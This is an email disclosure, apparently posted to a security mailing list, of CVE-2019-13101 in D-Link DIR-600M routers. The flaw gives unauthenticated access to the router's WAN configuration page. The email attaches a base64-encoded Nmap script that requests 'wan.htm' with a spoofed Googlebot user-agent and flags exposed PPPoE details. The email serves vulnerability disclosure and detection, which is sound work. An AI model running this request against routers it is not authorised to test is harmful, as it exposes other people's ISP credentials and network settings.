Dlink-CVE-2019-13101

--00000000000034d244058fa7e4f8
Content-Type: text/plain; charset="UTF-8"

A remote vulnerability was discovered on D-Link DIR-600M Wireless N 150
Home Router in multiple respective firmware versions.
The vulnerability provides unauthenticated remote access to the router's
WAN configuration page i.e. "wan.htm", which leads to
disclosure of sensitive user information including but not limited to
PPPoE, DNS configuration etc, also allowing to change
the configuration settings as well.

A Nmap nse script to exploit the vulnerability :
https://github.com/d0x0/D-Link-DIR-600M/blob/master/dlink-cve-2019-13101.nse


Regards:
Devendra Singh Solanki
https://twitter.com/_d0x0_
https://github.com/d0x0

--00000000000034d244058fa7e4f8
Content-Type: application/octet-stream; name="dlink-cve-2019-13101.nse"
Content-Disposition: attachment; filename="dlink-cve-2019-13101.nse"
Content-Transfer-Encoding: base64
Content-ID: <f_jz3mfwx40>
X-Attachment-Id: f_jz3mfwx40

CmRlc2NyaXB0aW9uID0gW1sKRGV0ZWN0cyB3aGV0aGVyIHRoZSBELUxpbmsgRElSLTYwME0gb3Ig
RElSLTYxNSByb3V0ZXIgaXMgdnVsbmVyYWJsZSB0byBJbmNvcnJlY3QgQWNjZXNzIENvbnRyb2wg
VnVsbmVyYWJpbGl0eSAoQ1ZFLTIwMTktMTMxMDEpLgpdXQoKLS0tCi0tIEB1c2FnZToKLS0gbm1h
cCAtcCA4MCAtbiAtLW9wZW4gLS1zY3JpcHQgZGxpbmstY3ZlLTIwMTktMTMxMDEgPHRhcmdldD4u
Ci0tLQoKYXV0aG9yID0gIkRldmVuZHJhIFNpbmdoIFNvbGFua2kiCmxpY2Vuc2UgPSAiU2FtZSBh
cyBObWFwLS1TZWUgaHR0cHM6Ly9ubWFwLm9yZy9ib29rL21hbi1sZWdhbC5odG1sIgoKY2F0ZWdv
cmllcyA9IHsiZGlzY292ZXJ5IiwgInZ1bG4iLCAiZXhwbG9pdCJ9ICAgCgpsb2NhbCBodHRwID0g
cmVxdWlyZSAiaHR0cCIKbG9jYWwgc2hvcnRwb3J0ID0gcmVxdWlyZSAic2hvcnRwb3J0Igpsb2Nh
bCBzdGRuc2UgPSByZXF1aXJlICJzdGRuc2UiCmxvY2FsIHN0cmluZyA9IHJlcXVpcmUgInN0cmlu
ZyIKICAgIApwb3J0cnVsZSA9IHNob3J0cG9ydC5odHRwCgpsb2NhbCB1cmkgPSAiL3dhbi5odG0i
CgpmdW5jdGlvbiBhY3Rpb24gKGhvc3QsIHBvcnQpCgogICAgbG9jYWwgcmVzcG9uc2UgPSBodHRw
LmdldChob3N0LCBwb3J0LCB1cmksCgkgeyBoZWFkZXIgPSB7IFsiVXNlci1BZ2VudCJdID0gIk1v
emlsbGEvNS4wIChjb21wYXRpYmxlOyBHb29nbGVib3QvMi4xOyAraHR0cDovL3d3dy5nb29nbGUu
Y29tL2JvdC5odG1sKSIgfSB9LCB7IG5vX2NhY2hlID0gdHJ1ZSB9KQoKICAgIGlmKCByZXNwb25z
ZS5ib2R5IGFuZCByZXNwb25zZS5zdGF0dXMgPT0gMjAwICkgYW5kIHJlc3BvbnNlLmJvZHk6bWF0
Y2goIlBQUG9FIikgdGhlbgogICAgICAgIHJldHVybiAoIlJvdXRlciBpcyB2dWxuZXJhYmxlIHRv
IENWRS0yMDE5LTEzMTAxIikKZW5kCgplbmQKCgoKICAgICAgICAgCg==
--00000000000034d244058fa7e4f8
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline